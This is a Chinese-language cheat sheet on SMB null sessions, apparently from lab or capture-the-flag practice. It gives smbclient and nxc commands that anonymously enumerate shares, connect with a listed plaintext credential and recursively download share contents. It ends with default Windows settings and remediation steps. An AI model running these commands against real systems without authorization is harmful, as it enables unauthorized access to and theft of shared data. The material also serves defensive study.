SMB空会话
1. 检测SMB空会话
使用 smbclient 推荐(另外两款工具有时候无法枚举成功)
smbclient -N -L //10.10.11.174
使用 nxc
nxc smb authority.htb -u guest -p '' --shares
nxc smb authority.htb -u '' -p '' --shares #当guest被禁止登录时
nxc smb authority.htb -u '' -p '' --shares --local-auth
其中:SYSVOL NETLOGON IPC$ 目录是默认就有的, 一般不需要太关系,主要看是否对其他目录有 访问权限
其他检测方法
smbclient -N -L //10.10.11.222
2. 后续利用
连接SMB共享 推荐使用 impacket-smbclient
smbclient -U 'anonymous' //192.168.56.156/IPC$
smbclient -U 'levi.james%KingofAkron2025!' //10.10.11.70/NETLOGON
下载整个目录(SMBClient中)
prompt off #关闭下载提示
recurse true #递归下载所有子目录和其中的文件
mget PWM #下载对应的文件夹
3. 介绍
SMB 空会话可用于从活动目录中检索数据,例如所有用户的列表和密码策略
以下是此漏洞的在不同版本下的默认配置
| Windows 版本 | SMB 空会话默认启用? | 备注 |
|---|---|---|
| Windows NT 4.0 | 是 | 传统默认设置 |
| Windows Server 2000 | 是(如果在安装 AD 时选择了与 Windows 2000 之前版本兼容的权限) | 管理员在 DCPROMO 期间选择 |
| Windows Server 2003 | 是(如果在安装 AD 时选择了与 Windows 2000 之前版本兼容的权限) | 管理员在 DCPROMO 过程中选择 |
| Windows Server 2008 及更高版本 | 默认情况下未启用 | 必须手动启用让 Everyone 权限应用于匿名用户的组策略,并视需要修改 Pre-Win 2000 组 |
| 域控制器升级 (2003 -> 2008 -> 2012 等) | 是(如果先前已启用,除非被移除,否则将保持原状) | 空会话配置在就地升级期间会被保留,除非被清理 |
注: 如果这个设置之前被开启过,哪怕是 20 年前开启的,即使域控制器随着时间的推移进行了迭代升级,除非手动移除,否则该设置仍会保留
如何修复:
通常从从 Pre-Windows 2000 Compatible Access 组中移除 Everyone 组即可解决问题。
此外还应该检查组策略中的 Default Domain Controllers Policy ,并确保 Network access: Let Everyone permissions apply to anonymous users 已禁用
检查流程: Computer Configuration --> Windows Settings --> Security Settings --> Local Policies --> Security Options 然后 gpupdate
